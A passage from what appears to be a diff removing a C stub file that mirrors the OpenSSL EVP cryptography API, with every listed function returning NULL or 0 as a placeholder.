EVP_CIPHER * cipher) { - return NULL; -} - -const OSSL_PARAM * EVP_CIPHER_settable_ctx_params(const EVP_CIPHER * cipher) { - return NULL; -} - -const OSSL_PARAM * EVP_CIPHER_gettable_ctx_params(const EVP_CIPHER * cipher) { - return NULL; -} - -const OSSL_PARAM * EVP_CIPHER_CTX_settable_params(EVP_CIPHER_CTX * ctx) { - return NULL; -} - -const OSSL_PARAM * EVP_CIPHER_CTX_gettable_params(EVP_CIPHER_CTX * ctx) { - return NULL; -} - -int EVP_CIPHER_CTX_set_algor_params(EVP_CIPHER_CTX * ctx, const X509_ALGOR * alg) { - return 0; -} - -int EVP_CIPHER_CTX_get_algor_params(EVP_CIPHER_CTX * ctx, X509_ALGOR * alg) { - return 0; -} - -int EVP_CIPHER_CTX_get_algor(EVP_CIPHER_CTX * ctx, X509_ALGOR ** alg) { - return 0; -} - -const int * BIO_f_md(void) { - return NULL; -} - -const int * BIO_f_base64(void) { - return NULL; -} - -const int * BIO_f_cipher(void) { - return NULL; -} - -const int * BIO_f_reliable(void) { - return NULL; -} - -int BIO_set_cipher(BIO * b, const EVP_CIPHER * c, const unsigned char * k, const unsigned char * i, int enc) { - return 0; -} - -const EVP_MD * EVP_md_null(void) { - return NULL; -} - -const EVP_MD * EVP_md2(void) { - return NULL; -} - -const EVP_MD * EVP_md4(void) { - return NULL; -} - -const EVP_MD * EVP_md5(void) { - return NULL; -} - -const EVP_MD * EVP_md5_sha1(void) { - return NULL; -} - -const EVP_MD * EVP_blake2b512(void) { - return NULL; -} - -const EVP_MD * EVP_blake2s256(void) { - return NULL; -} - -const EVP_MD * EVP_sha1(void) { - return NULL; -} - -const EVP_MD * EVP_sha224(void) { - return NULL; -} - -const EVP_MD * EVP_sha256(void) { - return NULL; -} - -const EVP_MD * EVP_sha384(void) { - return NULL; -} - -const EVP_MD * EVP_sha512(void) { - return NULL; -} - -const EVP_MD * EVP_sha512_224(void) { - return NULL; -} - -const EVP_MD * EVP_sha512_256(void) { - return NULL; -} - -const EVP_MD * EVP_sha3_224(void) { - return NULL; -} - -const EVP_MD * EVP_sha3_256(void) { - return NULL; -} - -const EVP_MD * EVP_sha3_384(void) { - return NULL; -} - -const EVP_MD * EVP_sha3_512(void) { - return NULL; -} - -const EVP_MD * EVP_shake128(void) { - return NULL; -} - -const EVP_MD * EVP_shake256(void) { - return NULL; -} - -const EVP_MD * EVP_mdc2(void) { - return NULL; -} - -const EVP_MD * EVP_ripemd160(void) { - return NULL; -} - -const EVP_MD * EVP_whirlpool(void) { - return NULL; -} - -const EVP_MD * EVP_sm3(void) { - return NULL; -} - -const EVP_CIPHER * EVP_enc_null(void) { - return NULL; -} - -const EVP_CIPHER * EVP_des_ecb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_des_ede(void) { - return NULL; -} - -const EVP_CIPHER * EVP_des_ede3(void) { - return NULL; -} - -const EVP_CIPHER * EVP_des_ede_ecb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_des_ede3_ecb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_des_cfb64(void) { - return NULL; -} - -const EVP_CIPHER * EVP_des_cfb1(void) { - return NULL; -} - -const EVP_CIPHER * EVP_des_cfb8(void) { - return NULL; -} - -const EVP_CIPHER * EVP_des_ede_cfb64(void) { - return NULL; -} - -const EVP_CIPHER * EVP_des_ede3_cfb64(void) { - return NULL; -} - -const EVP_CIPHER * EVP_des_ede3_cfb1(void) { - return NULL; -} - -const EVP_CIPHER * EVP_des_ede3_cfb8(void) { - return NULL; -} - -const EVP_CIPHER * EVP_des_ofb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_des_ede_ofb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_des_ede3_ofb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_des_cbc(void) { - return NULL; -} - -const EVP_CIPHER * EVP_des_ede_cbc(void) { - return NULL; -} - -const EVP_CIPHER * EVP_des_ede3_cbc(void) { - return NULL; -} - -const EVP_CIPHER * EVP_desx_cbc(void) { - return NULL; -} - -const EVP_CIPHER * EVP_des_ede3_wrap(void) { - return NULL; -} - -const EVP_CIPHER * EVP_rc4(void) { - return NULL; -} - -const EVP_CIPHER * EVP_rc4_40(void) { - return NULL; -} - -const EVP_CIPHER * EVP_rc4_hmac_md5(void) { - return NULL; -} - -const EVP_CIPHER * EVP_idea_ecb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_idea_cfb64(void) { - return NULL; -} - -const EVP_CIPHER * EVP_idea_ofb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_idea_cbc(void) { - return NULL; -} - -const EVP_CIPHER * EVP_rc2_ecb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_rc2_cbc(void) { - return NULL; -} - -const EVP_CIPHER * EVP_rc2_40_cbc(void) { - return NULL; -} - -const EVP_CIPHER * EVP_rc2_64_cbc(void) { - return NULL; -} - -const EVP_CIPHER * EVP_rc2_cfb64(void) { - return NULL; -} - -const EVP_CIPHER * EVP_rc2_ofb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_bf_ecb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_bf_cbc(void) { - return NULL; -} - -const EVP_CIPHER * EVP_bf_cfb64(void) { - return NULL; -} - -const EVP_CIPHER * EVP_bf_ofb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_cast5_ecb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_cast5_cbc(void) { - return NULL; -} - -const EVP_CIPHER * EVP_cast5_cfb64(void) { - return NULL; -} - -const EVP_CIPHER * EVP_cast5_ofb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_rc5_32_12_16_cbc(void) { - return NULL; -} - -const EVP_CIPHER * EVP_rc5_32_12_16_ecb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_rc5_32_12_16_cfb64(void) { - return NULL; -} - -const EVP_CIPHER * EVP_rc5_32_12_16_ofb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_128_ecb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_128_cbc(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_128_cfb1(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_128_cfb8(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_128_cfb128(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_128_ofb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_128_ctr(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_128_ccm(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_128_gcm(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_128_xts(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_128_wrap(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_128_wrap_pad(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_128_ocb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_192_ecb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_192_cbc(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_192_cfb1(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_192_cfb8(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_192_cfb128(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_192_ofb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_192_ctr(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_192_ccm(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_192_gcm(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_192_wrap(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_192_wrap_pad(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_192_ocb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_256_ecb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_256_cbc(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_256_cfb1(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_256_cfb8(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_256_cfb128(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_256_ofb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_256_ctr(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_256_ccm(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_256_gcm(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_256_xts(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_256_wrap(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_256_wrap_pad(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_256_ocb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_128_cbc_hmac_sha1(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_256_cbc_hmac_sha1(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_128_cbc_hmac_sha256(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aes_256_cbc_hmac_sha256(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aria_128_ecb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aria_128_cbc(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aria_128_cfb1(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aria_128_cfb8(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aria_128_cfb128(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aria_128_ctr(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aria_128_ofb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aria_128_gcm(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aria_128_ccm(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aria_192_ecb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aria_192_cbc(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aria_192_cfb1(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aria_192_cfb8(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aria_192_cfb128(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aria_192_ctr(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aria_192_ofb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aria_192_gcm(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aria_192_ccm(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aria_256_ecb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aria_256_cbc(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aria_256_cfb1(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aria_256_cfb8(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aria_256_cfb128(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aria_256_ctr(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aria_256_ofb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aria_256_gcm(void) { - return NULL; -} - -const EVP_CIPHER * EVP_aria_256_ccm(void) { - return NULL; -} - -const EVP_CIPHER * EVP_camellia_128_ecb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_camellia_128_cbc(void) { - return NULL; -} - -const EVP_CIPHER * EVP_camellia_128_cfb1(void) { - return NULL; -} - -const EVP_CIPHER * EVP_camellia_128_cfb8(void) { - return NULL; -} - -const EVP_CIPHER * EVP_camellia_128_cfb128(void) { - return NULL; -} - -const EVP_CIPHER * EVP_camellia_128_ofb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_camellia_128_ctr(void) { - return NULL; -} - -const EVP_CIPHER * EVP_camellia_192_ecb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_camellia_192_cbc(void) { - return NULL; -} - -const EVP_CIPHER * EVP_camellia_192_cfb1(void) { - return NULL; -} - -const EVP_CIPHER * EVP_camellia_192_cfb8(void) { - return NULL; -} - -const EVP_CIPHER * EVP_camellia_192_cfb128(void) { - return NULL; -} - -const EVP_CIPHER * EVP_camellia_192_ofb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_camellia_192_ctr(void) { - return NULL; -} - -const EVP_CIPHER * EVP_camellia_256_ecb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_camellia_256_cbc(void) { - return NULL; -} - -const EVP_CIPHER * EVP_camellia_256_cfb1(void) { - return NULL; -} - -const EVP_CIPHER * EVP_camellia_256_cfb8(void) { - return NULL; -} - -const EVP_CIPHER * EVP_camellia_256_cfb128(void) { - return NULL; -} - -const EVP_CIPHER * EVP_camellia_256_ofb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_camellia_256_ctr(void) { - return NULL; -} - -const EVP_CIPHER * EVP_chacha20(void) { - return NULL; -} - -const EVP_CIPHER * EVP_chacha20_poly1305(void) { - return NULL; -} - -const EVP_CIPHER * EVP_seed_ecb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_seed_cbc(void) { - return NULL; -} - -const EVP_CIPHER * EVP_seed_cfb128(void) { - return NULL; -} - -const EVP_CIPHER * EVP_seed_ofb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_sm4_ecb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_sm4_cbc(void) { - return NULL; -} - -const EVP_CIPHER * EVP_sm4_cfb128(void) { - return NULL; -} - -const EVP_CIPHER * EVP_sm4_ofb(void) { - return NULL; -} - -const EVP_CIPHER * EVP_sm4_ctr(void) { - return NULL; -} - -int EVP_add_cipher(const EVP_CIPHER * cipher) { - return 0; -} - -int EVP_add_digest(const EVP_MD * digest) { - return 0; -} - -const EVP_CIPHER * EVP_get_cipherbyname(const char * name) { - return NULL; -} - -const EVP_MD * EVP_get_digestbyname(const char * name) { - return NULL; -} - -void EVP_CIPHER_do_all(void (*fn)(const EVP_CIPHER *, const char *, const char *, void *), void * arg) ; - - -void EVP_CIPHER_do_all_sorted(void (*fn)(const EVP_CIPHER *, const char *, const char *, void *), void * arg) ; - - -void EVP_CIPHER_do_all_provided(OSSL_LIB_CTX * libctx, void (*fn)(EVP_CIPHER *, void *), void * arg) ; - - -void EVP_MD_do_all(void (*fn)(const EVP_MD *, const char *, const char *, void *), void * arg) ; - - -void EVP_MD_do_all_sorted(void (*fn)(const EVP_MD *, const char *, const char *, void *), void * arg) ; - - -void EVP_MD_do_all_provided(OSSL_LIB_CTX * libctx, void (*fn)(EVP_MD *, void *), void * arg) ; - - -EVP_MAC * EVP_MAC_fetch(OSSL_LIB_CTX * libctx, const char * algorithm, const char * properties) { - return NULL; -} - -int EVP_MAC_up_ref(EVP_MAC * mac) { - return 0; -} - -void EVP_MAC_free(EVP_MAC * mac) ; - - -const char * EVP_MAC_get0_name(const EVP_MAC * mac) { - return NULL; -} - -const char * EVP_MAC_get0_description(const EVP_MAC * mac) { - return NULL; -} - -int EVP_MAC_is_a(const EVP_MAC * mac, const char * name) { - return 0; -} - -const OSSL_PROVIDER * EVP_MAC_get0_provider(const EVP_MAC * mac) { - return NULL; -} - -int EVP_MAC_get_params(EVP_MAC * mac, OSSL_PARAM * params) { - return 0; -} - -EVP_MAC_CTX * EVP_MAC_CTX_new(EVP_MAC * mac) { - return NULL; -} - -void EVP_MAC_CTX_free(EVP_MAC_CTX * ctx) ; - - -EVP_MAC_CTX * EVP_MAC_CTX_dup(const EVP_MAC_CTX * src) { - return NULL; -} - -EVP_MAC * EVP_MAC_CTX_get0_mac(EVP_MAC_CTX * ctx) { - return NULL; -} - -int EVP_MAC_CTX_get_params(EVP_MAC_CTX * ctx, OSSL_PARAM * params) { - return 0; -} - -int EVP_MAC_CTX_set_params(EVP_MAC_CTX * ctx, const OSSL_PARAM * params) { - return 0; -} - -size_t EVP_MAC_CTX_get_mac_size(EVP_MAC_CTX * ctx) { - return 0; -} - -size_t EVP_MAC_CTX_get_block_size(EVP_MAC_CTX * ctx) { - return 0; -} - -unsigned char * EVP_Q_mac(OSSL_LIB_CTX * libctx, const char * name, const char * propq, const char * subalg, const OSSL_PARAM * params, const void * key, size_t keylen, const unsigned char * data, size_t datalen, unsigned char * out, size_t outsize, size_t * outlen) { - return NULL; -} - -int EVP_MAC_init(EVP_MAC_CTX * ctx, const unsigned char * key, size_t keylen, const OSSL_PARAM * params) { - return 0; -} - -int EVP_MAC_init_SKEY(EVP_MAC_CTX * ctx, EVP_SKEY * skey, const OSSL_PARAM * params) { - return 0; -} - -int EVP_MAC_update(EVP_MAC_CTX * ctx, const unsigned char * data, size_t datalen) { - return 0; -} - -int EVP_MAC_final(EVP_MAC_CTX * ctx, unsigned char * out, size_t * outl, size_t outsize) { - return 0; -} - -int EVP_MAC_finalXOF(EVP_MAC_CTX * ctx, unsigned char * out, size_t outsize) { - return 0; -} - -const OSSL_PARAM * EVP_MAC_gettable_params(const EVP_MAC * mac) { - return NULL; -} - -const OSSL_PARAM * EVP_MAC_gettable_ctx_params(const EVP_MAC * mac) { - return NULL; -} - -const OSSL_PARAM * EVP_MAC_settable_ctx_params(const EVP_MAC * mac) { - return NULL; -} - -const OSSL_PARAM * EVP_MAC_CTX_gettable_params(EVP_MAC_CTX * ctx) { - return NULL; -} - -const OSSL_PARAM * EVP_MAC_CTX_settable_params(EVP_MAC_CTX * ctx) { - return NULL; -} - -void EVP_MAC_do_all_provided(OSSL_LIB_CTX * libctx, void (*fn)(EVP_MAC *, void *), void * arg) ; - - -int EVP_MAC_names_do_all(const EVP_MAC * mac, void (*fn)(const char *, void *), void * data) { - return 0; -} - -EVP_RAND * EVP_RAND_fetch(OSSL_LIB_CTX * libctx, const char * algorithm, const char * properties) { - return NULL; -} - -int EVP_RAND_up_ref(EVP_RAND * rand) { - return 0; -} - -void EVP_RAND_free(EVP_RAND * rand) ; - - -const char * EVP_RAND_get0_name(const EVP_RAND * rand) { - return NULL; -} - -const char * EVP_RAND_get0_description(const EVP_RAND * md) { - return NULL; -} - -int EVP_RAND_is_a(const EVP_RAND * rand, const char * name) { - return 0; -} - -const OSSL_PROVIDER * EVP_RAND_get0_provider(const EVP_RAND * rand) { - return NULL; -} - -int EVP_RAND_get_params(EVP_RAND * rand, OSSL_PARAM * params) { - return 0; -} - -EVP_RAND_CTX * EVP_RAND_CTX_new(EVP_RAND * rand, EVP_RAND_CTX * parent) { - return NULL; -} - -int EVP_RAND_CTX_up_ref(EVP_RAND_CTX * ctx) { - return 0; -} - -void EVP_RAND_CTX_free(EVP_RAND_CTX * ctx) ; - - -EVP_RAND * EVP_RAND_CTX_get0_rand(EVP_RAND_CTX * ctx) { - return NULL; -} - -int EVP_RAND_CTX_get_params(EVP_RAND_CTX * ctx, OSSL_PARAM * params) { - return 0; -} - -int EVP_RAND_CTX_set_params(EVP_RAND_CTX * ctx, const OSSL_PARAM * params) { - return 0; -} - -const OSSL_PARAM * EVP_RAND_gettable_params(const EVP_RAND * rand) { - return NULL; -} - -const OSSL_PARAM * EVP_RAND_gettable_ctx_params(const EVP_RAND * rand) { - return NULL; -} - -const OSSL_PARAM * EVP_RAND_settable_ctx_params(const EVP_RAND * rand) { - return NULL; -} - -const OSSL_PARAM * EVP_RAND_CTX_gettable_params(EVP_RAND_CTX * ctx) { - return NULL; -} - -const OSSL_PARAM * EVP_RAND_CTX_settable_params(EVP_RAND_CTX * ctx) { - return NULL; -} - -void EVP_RAND_do_all_provided(OSSL_LIB_CTX * libctx, void (*fn)(EVP_RAND *, void *), void * arg) ; - - -int EVP_RAND_names_do_all(const EVP_RAND * rand, void (*fn)(const char *, void *), void * data) { - return 0; -} - -int EVP_RAND_instantiate(EVP_RAND_CTX * ctx, unsigned int strength, int prediction_resistance, const unsigned char * pstr, size_t pstr_len, const OSSL_PARAM * params) { - return 0; -} - -int EVP_RAND_uninstantiate(EVP_RAND_CTX * ctx) { - return 0; -} - -int EVP_RAND_generate(EVP_RAND_CTX * ctx, unsigned char * out, size_t outlen, unsigned int strength, int prediction_resistance, const unsigned char * addin, size_t addin_len) { - return 0; -} - -int EVP_RAND_reseed(EVP_RAND_CTX * ctx, int prediction_resistance, const unsigned char * ent, size_t ent_len, const unsigned char * addin, size_t addin_len) { - return 0; -} - -int EVP_RAND_nonce(EVP_RAND_CTX * ctx, unsigned char * out, size_t outlen) { - return 0; -} - -int EVP_RAND_enable_locking(EVP_RAND_CTX * ctx) { - return 0; -} - -int EVP_RAND_verify_zeroization(EVP_RAND_CTX * ctx) { - return 0; -} - -unsigned int EVP_RAND_get_strength(EVP_RAND_CTX * ctx) { - return 0; -} - -int EVP_RAND_get_state(EVP_RAND_CTX * ctx) { - return 0; -} - -int EVP_PKEY_decrypt_old(unsigned char * dec_key, const unsigned char * enc_key, int enc_key_len, EVP_PKEY * private_key) { - return 0; -} - -int EVP_PKEY_encrypt_old(unsigned char * enc_key, const unsigned char * key, int key_len, EVP_PKEY * pub_key) { - return 0; -} - -int EVP_PKEY_is_a(const EVP_PKEY * pkey, const char * name) { - return 0; -} - -int EVP_PKEY_type_names_do_all(const EVP_PKEY * pkey, void (*fn)(const char *, void *), void * data) { - return 0; -} - -int EVP_PKEY_type(int type) { - return 0; -} - -int EVP_PKEY_get_id(const EVP_PKEY * pkey) { - return 0; -} - -int EVP_PKEY_get_base_id(const EVP_PKEY * pkey) { - return 0; -} - -int EVP_PKEY_get_bits(const EVP_PKEY * pkey) { - return 0; -} - -int EVP_PKEY_get_security_bits(const EVP_PKEY * pkey) { - return 0; -} - -int EVP_PKEY_get_size(const EVP_PKEY * pkey) { - return 0; -} - -int EVP_PKEY_can_sign(const EVP_PKEY * pkey) { - return 0; -} - -int EVP_PKEY_set_type(EVP_PKEY * pkey, int type) { - return 0; -} - -int EVP_PKEY_set_type_str(EVP_PKEY * pkey, const char * str, int len) { - return 0; -} - -int EVP_PKEY_set_type_by_keymgmt(EVP_PKEY * pkey, EVP_KEYMGMT * keymgmt) { - return 0; -} - -int EVP_PKEY_set1_engine(EVP_PKEY * pkey, ENGINE * e) { - return 0; -} - -ENGINE * EVP_PKEY_get0_engine(const EVP_PKEY * pkey) { - return NULL; -} - -int EVP_PKEY_assign(EVP_PKEY * pkey, int type, void * key) { - return 0; -} - -void * EVP_PKEY_get0(const EVP_PKEY * pkey) { - return NULL; -} - -const unsigned char * EVP_PKEY_get0_hmac(const EVP_PKEY * pkey, size_t * len) { - return NULL; -} - -const unsigned char * EVP_PKEY_get0_poly1305(const EVP_PKEY * pkey, size_t * len) { - return NULL; -} - -const unsigned char * EVP_PKEY_get0_siphash(const EVP_PKEY * pkey, size_t * len) { - return NULL; -} - -int EVP_PKEY_set1_RSA(EVP_PKEY * pkey, struct rsa_st * key) { - return 0; -} - -const struct rsa_st * EVP_PKEY_get0_RSA(const EVP_PKEY * pkey) { - return NULL; -} - -struct rsa_st * EVP_PKEY_get1_RSA(EVP_PKEY * pkey) { - return NULL; -} - -int EVP_PKEY_set1_DSA(EVP_PKEY * pkey, struct dsa_st * key) { - return 0; -} - -const struct dsa_st * EVP_PKEY_get0_DSA(const EVP_PKEY * pkey) { - return NULL; -} - -struct dsa_st * EVP_PKEY_get1_DSA(EVP_PKEY * pkey) { - return NULL; -} - -int EVP_PKEY_set1_DH(EVP_PKEY * pkey, struct dh_st * key) { - return 0; -} - -const struct dh_st * EVP_PKEY_get0_DH(const EVP_PKEY * pkey) { - return NULL; -} - -struct dh_st * EVP_PKEY_get1_DH(EVP_PKEY * pkey) { - return NULL; -} - -int EVP_PKEY_set1_EC_KEY(EVP_PKEY * pkey, struct ec_key_st * key) { - return 0; -} - -const struct ec_key_st * EVP_PKEY_get0_EC_KEY(const EVP_PKEY * pkey) { - return NULL; -} - -struct ec_key_st * EVP_PKEY_get1_EC_KEY(EVP_PKEY * pkey) { - return NULL; -} - -EVP_PKEY * EVP_PKEY_new(void) { - return NULL; -} - -int EVP_PKEY_up_ref(EVP_PKEY * pkey) { - return 0; -} - -EVP_PKEY * EVP_PKEY_dup(EVP_PKEY * pkey) { - return NULL; -} - -void EVP_PKEY_free(EVP_PKEY * pkey) ; - - -const char * EVP_PKEY_get0_description(const EVP_PKEY * pkey) { - return NULL; -} - -const OSSL_PROVIDER * EVP_PKEY_get0_provider(const EVP_PKEY * key) { - return NULL; -} - -EVP_PKEY * d2i_PublicKey(int type, EVP_PKEY ** a, const unsigned char ** pp, long length) { - return NULL; -} - -int i2d_PublicKey(const EVP_PKEY * a, unsigned char ** pp) { - return 0; -} - -EVP_PKEY * d2i_PrivateKey_ex(int type, EVP_PKEY ** a, const unsigned char ** pp, long length, OSSL_LIB_CTX * libctx, const char * propq) { - return NULL; -} - -EVP_PKEY * d2i_PrivateKey(int type, EVP_PKEY ** a, const unsigned char ** pp, long length) { - return NULL; -} - -EVP_PKEY * d2i_AutoPrivateKey_ex(EVP_PKEY ** a, const unsigned char ** pp, long length, OSSL_LIB_CTX * libctx, const char * propq) { - return NULL; -} - -EVP_PKEY * d2i_AutoPrivateKey(EVP_PKEY ** a, const unsigned char ** pp, long length) { - return NULL; -} - -int i2d_PrivateKey(const EVP_PKEY * a, unsigned char ** pp) { - return 0; -} - -int i2d_PKCS8PrivateKey(const EVP_PKEY * a, unsigned char ** pp) { - return 0; -} - -int i2d_KeyParams(const EVP_PKEY * a, unsigned char ** pp) { - return 0; -} - -EVP_PKEY * d2i_KeyParams(int type, EVP_PKEY ** a, const unsigned char ** pp, long length) { - return NULL; -} - -int i2d_KeyParams_bio(BIO * bp, const EVP_PKEY * pkey) { - return 0; -} - -EVP_PKEY * d2i_KeyParams_bio(int type, EVP_PKEY ** a, BIO * in) { - return NULL; -} - -int EVP_PKEY_copy_parameters(EVP_PKEY * to, const EVP_PKEY * from) { - return 0; -} - -int EVP_PKEY_missing_parameters(const EVP_PKEY * pkey) { - return 0; -} - -int EVP_PKEY_save_parameters(EVP_PKEY * pkey, int mode) { - return 0; -} - -int EVP_PKEY_parameters_eq(const EVP_PKEY * a, const EVP_PKEY * b) { - return 0; -} - -int EVP_PKEY_eq(const EVP_PKEY * a, const EVP_PKEY * b) { - return 0; -} - -int EVP_PKEY_cmp_parameters(const EVP_PKEY * a, const EVP_PKEY * b) { - return 0; -} - -int EVP_PKEY_cmp(const EVP_PKEY * a, const EVP_PKEY * b) { - return 0; -} - -int EVP_PKEY_print_public(BIO * out, const EVP_PKEY * pkey, int indent, ASN1_PCTX * pctx) { - return 0; -} - -int EVP_PKEY_print_private(BIO * out, const EVP_PKEY * pkey, int indent, ASN1_PCTX * pctx) { - return 0; -} - -int EVP_PKEY_print_params(BIO * out, const EVP_PKEY * pkey, int indent, ASN1_PCTX * pctx) { - return 0; -} - -int EVP_PKEY_print_public_fp(FILE * fp, const EVP_PKEY * pkey, int indent, ASN1_PCTX * pctx) { - return 0; -} - -int EVP_PKEY_print_private_fp(FILE * fp, const EVP_PKEY * pkey, int indent, ASN1_PCTX * pctx) { - return 0; -} - -int EVP_PKEY_print_params_fp(FILE * fp, const EVP_PKEY * pkey, int indent, ASN1_PCTX * pctx) { - return 0; -} - -int EVP_PKEY_get_default_digest_nid(EVP_PKEY * pkey, int * pnid) { - return 0; -} - -int EVP_PKEY_get_default_digest_name(EVP_PKEY * pkey, char * mdname, size_t mdname_sz) { - return 0; -} - -int EVP_PKEY_digestsign_supports_digest(EVP_PKEY * pkey, OSSL_LIB_CTX * libctx, const char * name, const char * propq) { - return 0; -} - -int EVP_PKEY_set1_encoded_public_key(EVP_PKEY * pkey, const unsigned char * pub, size_t publen) { - return 0; -} - -size_t EVP_PKEY_get1_encoded_public_key(EVP_PKEY * pkey, unsigned char ** ppub) { - return 0; -} - -int EVP_CIPHER_param_to_asn1(EVP_CIPHER_CTX * c, ASN1_TYPE * type) { - return 0; -} - -int EVP_CIPHER_asn1_to_param(EVP_CIPHER_CTX * c, ASN1_TYPE * type) { - return 0; -} - -int EVP_CIPHER_set_asn1_iv(EVP_CIPHER_CTX * c, ASN1_TYPE * type) { - return 0; -} - -int EVP_CIPHER_get_asn1_iv(EVP_CIPHER_CTX * c, ASN1_TYPE * type) { - return 0; -} - -int PKCS5_PBE_keyivgen(EVP_CIPHER_CTX * ctx, const char * pass, int passlen, ASN1_TYPE * param, const EVP_CIPHER * cipher, const EVP_MD * md, int en_de) { - return 0; -} - -int PKCS5_PBE_keyivgen_ex(EVP_CIPHER_CTX * cctx, const char * pass, int passlen, ASN1_TYPE * param, const EVP_CIPHER * cipher, const EVP_MD * md, int en_de, OSSL_LIB_CTX * libctx, const char * propq) { - return 0; -} - -int PKCS5_PBKDF2_HMAC_SHA1(const char * pass, int passlen, const unsigned char * salt, int saltlen, int iter, int keylen, unsigned char * out) { - return 0; -} - -int PKCS5_PBKDF2_HMAC(const char * pass, int passlen, const unsigned char * salt, int saltlen, int iter, const EVP_MD * digest, int keylen, unsigned char * out) { - return 0; -} - -int PKCS5_v2_PBE_keyivgen(EVP_CIPHER_CTX * ctx, const char * pass, int passlen, ASN1_TYPE * param, const EVP_CIPHER * cipher, const EVP_MD * md, int en_de) { - return 0; -} - -int PKCS5_v2_PBE_keyivgen_ex(EVP_CIPHER_CTX * ctx, const char * pass, int passlen, ASN1_TYPE * param, const EVP_CIPHER * cipher, const EVP_MD * md, int en_de, OSSL_LIB_CTX * libctx, const char * propq) { - return 0; -} - -int EVP_PBE_scrypt(const char * pass, size_t passlen, const unsigned char * salt, size_t saltlen, uint64_t N, uint64_t r, uint64_t p, uint64_t maxmem, unsigned char * key, size_t keylen) { - return 0; -} - -int EVP_PBE_scrypt_ex(const char * pass, size_t passlen, const unsigned char * salt, size_t saltlen, uint64_t N, uint64_t r, uint64_t p, uint64_t maxmem, unsigned char * key, size_t keylen, OSSL_LIB_CTX * ctx, const char * propq) { - return 0; -} - -int 